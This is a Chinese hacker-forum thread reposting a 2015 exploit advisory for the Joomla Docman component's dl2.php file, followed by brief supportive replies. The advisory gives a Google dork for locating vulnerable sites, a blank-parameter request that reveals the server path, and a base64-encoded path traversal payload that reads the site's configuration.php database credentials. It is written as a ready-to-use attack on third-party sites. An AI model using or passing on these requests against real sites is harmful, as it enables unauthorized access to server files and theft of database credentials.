90_ 发表于 2015-7-16 11:46:42

Joomla Docman Path Disclosure本地包含漏洞

Description:
Joomla Docman suffers from full path disclosure and local file inclusion vulnerabilities.

# Joomla docman Component 'com_docman' Full Path Disclosure(FPD) & Local File Disclosure/Include(LFD/LFI)
# CWE: CWE-200(FPD) CWE-98(LFI/LFD)
# Risk: High
# Author: Hugo Santiago dos Santos
# Contact: hugo.s@linuxmail.org<script cf-hash="f9e31" type="text/javascript">
/* <!.getAttribute("cf-hash"))return t}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>
# Date: 13/07/2015
# Vendor Homepage: http://extensions.joomla.org/extension/directory-a-documentation/downloads/docman
# Google Dork: inurl:"/components/com_docman/dl2.php"
 
# Xploit (FPD):
  
 Get one target and just download with blank parameter:
 http://www.site.com/components/com_docman/dl2.php?archive=0&file=
  
 In title will occur Full Path Disclosure of server.
  
# Xploit (LFD/LFI):
 
 http://www.site.com/components/com_docman/dl2.php?archive=0&file=
  
 Let's Xploit...
  
 First we need use Xploit FPD to see the path of target, after that we'll Insert 'configuration.php' configuration database file and encode in Base64:
  
 ../../../../../../../target/www/configuration.php <= Not Ready
  
 http://www.site.com/components/com_docman/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA==  <= Ready !

And Now we have a configuration file...

红盟小渣 发表于 2015-7-16 13:03:41

虽然看不懂但以我24K肉眼360度观看得出这是一个漏洞对就是漏洞

蓝颜 发表于 2015-7-17 07:33:39

很好 收藏了                  

H.U.C—Prince 发表于 2015-7-17 17:35:25

支持中国红客联盟(ihonker.org)

wilist 发表于 2015-7-17 21:48:22

还是不错的哦，顶了

a136 发表于 2015-7-18 20:37:47

支持中国红客联盟(ihonker.org)

arctic 发表于 2015-7-19 07:36:26

学习学习技术，加油！

Jack-5 发表于 2015-7-20 00:41:30

支持中国红客联盟(ihonker.org)

admin1964 发表于 2015-7-21 04:14:07

支持，看起来不错呢！

borall 发表于 2015-7-21 15:01:04

支持中国红客联盟(ihonker.org)
页: [1]
查看完整版本: Joomla Docman Path Disclosure本地包含漏洞